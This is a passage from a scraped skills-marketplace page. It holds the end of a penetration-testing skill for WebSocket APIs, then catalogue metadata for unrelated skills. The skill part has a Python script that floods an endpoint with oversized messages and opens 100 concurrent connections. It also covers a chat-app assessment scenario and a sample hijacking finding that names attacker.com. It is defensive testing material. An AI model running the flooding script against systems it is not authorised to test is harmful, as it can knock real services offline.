websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n",{"name":5,"tags":56,"author":59,"domain":49,"license":14,"version":60,"subdomain":45,"description":61},[45,32,37,57,58,47],"real-time","injection","mahipal","1.0.0","Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket frames. The tester intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests for authorization bypass on WebSocket channels. Activates for requests involving WebSocket security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.\n","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":70,"prompt":80,"zipAvailable":81},[71,74,77],{"tool":72,"command":73},"npx","npx skills add micsapp\u002Fmicstec-skills --skill testing-websocket-api-security",{"tool":75,"command":76},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill testing-websocket-api-security",{"tool":78,"command":79},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill testing-websocket-api-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",true,[83,88,94],{"path":84,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security\u002FLICENSE",{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fapi-reference.md","REFERENCE","参考文档",1954,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security\u002Freferences\u002Fapi-reference.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",8449,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security\u002Fscripts\u002Fagent.py",[101,129,159,178,198,223],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":110,"publishedAt":51},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[108,109],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},[111,112,113,114,47,115,116,117,118,33,119,120,121,122,123,124,125,126,127,128],"architecture","azure","azure apim architecture","component","gateway","topology","Optimization","network","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":143,"publishedAt":51},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[135,136,139,142],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":137,"categoryName":138,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":140,"categoryName":141,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},[144,145,146,147,112,148,149,150,151,152,153,154,33,119,125,155,156,126,157,158],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":166,"publishedAt":51},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[165],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[167,168,169,31,112,47,33,119,170,171,172,36,173,174,175,126,176,177,158,128],"policy","authoring","apim policy authoring","access","use","ready","Access Control","error","processing","cors configuration","production-ready",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":186,"publishedAt":51},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[184,185],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},[187,31,188,33,36,189,112,144,190,191,192,193,119,194,126,195,196,197,127,128],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":51},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[205,206,207,146,208,209,210,211,33,212,213,214,215,216,217,218,219,220,221,222],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":229,"publishedAt":51},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[225,230,231,232,233,234,235,171,236,237],"npm","js","calculate","node","math","user","compute","errors"]